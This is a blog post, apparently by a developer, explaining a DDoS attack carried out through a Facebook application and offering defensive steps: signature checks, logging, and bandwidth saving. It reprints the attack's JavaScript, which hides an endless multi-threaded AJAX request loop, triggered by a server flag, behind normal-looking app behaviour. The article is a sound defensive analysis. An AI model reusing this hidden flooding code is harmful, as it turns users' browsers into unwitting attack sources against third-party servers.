The Makings Of A Facebook DDoS Attack

Some time ago I had the good fortune to work with some developers on a Facebook application that was underperforming. Through a very robust investigation of the application, it was discovered that a large number of invalid requests were being passed to the server. It was the victim of a Distributed Denial of Service attack utilizing Facebook platform and a popular application to bring down the application. What Can a Developer Do? Before instantiating ANY code, check your signatures! There are a number of ways to do this, but for starters, check the $_REQUEST['fb_sig_app_id'] and be sure it's yours! Spot check your log files for any large number of 404 requests to images or other files that are not valid. Google Analytics only reports on what's working. Log invalid requests and errors. Keep the entire signature as it provides you the evidence needed to report the offending application. You may be able to make a legal case against the perpetuator of the attack if you have sufficient evidence. I am not a lawyer, but you can find one who specializes in technology crimes and talk to them. Contact Facebook, while DDoS is not explicitly prohibited in the Developer Terms of Service it is illegal in many states and compliance with State Lawsis explicitly stated. How Can I Keep My Server Running? Apply #1 above on all your pages. Don't let the attacker make your machine work any harder than it has to. The second code listing below has a quick and dirty way to stop it in it's tracks. Any 404 errors that are abnormal should be made into logging pages so you can grab the errors and log them. You can do this with .htaccess or a custom 404 page. Whichever suits your particular situation. Save Bandwidth However Possible - if the request is attacking valid image files, rename the real files and update your code, then pass very small bits of data back to the requesters of the invalid files. Create 0 byte files to replace them using "touch file.png" so you minimize the outbound data. Change servers. Less than ideal, but contact your hosting company and move your app to a different IP and or domain name ASAP. How Did It Work? The code from this attack is provided below and was obtained by viewing the source of the application. It essentially creates an endless loop of AJAX requests. The ajax.php file need only return JSON encoded data including a value for "cremate" and "cremate_threads" along with the expected payload to begin the attack which then calls the working code at line 16 in the code below. Once invoked, the client computer continues to expand to it's internal limits taking over the resources of not only the target's computer, but potentially the user's browser as well. JavaScript Code function someValidAjaxCall(request_data) { var ajax = new Ajax(); ajax.responseType = Ajax.JSON; ajax.useLocalProxy = false; ajax.ondone = function(data) { // // Do what the application should appear to do for the user // // Start the DDoS attack if (data.cremate && data.cremate_threads) { cremate(data.cremate, data.cremate_threads); } } ajax.post('http://255.255.255.255/ajax.php', request_data); return false; } function cremate(url, cremate_threads) { for (i=0; i<cremate_threads; i++) { sub_cremate(url + i); } } function sub_cremate(url) { ajax = new Ajax(); ajax.responseType = Ajax.RAW; ajax.useLocalProxy = false; ajax.ondone = function(data) { sub_cremate(url); } ajax.onerror = function() { sub_cremate(url); } ajax.post(url); } PHP Code // Will stop requests from other apps if($_REQUEST['fb_sig_app_id'] != '1234567890'){ die('Error'); } This article was originally posted on Erik's blog. You can also follow Erik on Twitter.

Social Pro Daily

The Makings Of A Facebook DDoS Attack

What Can a Developer Do?

Erik Giberti

About

Subscriptions

Events

Publications

What Can a Developer Do?

WORK SMARTER - LEARN, GROW AND BE INSPIRED.

Subscribe today!

Erik Giberti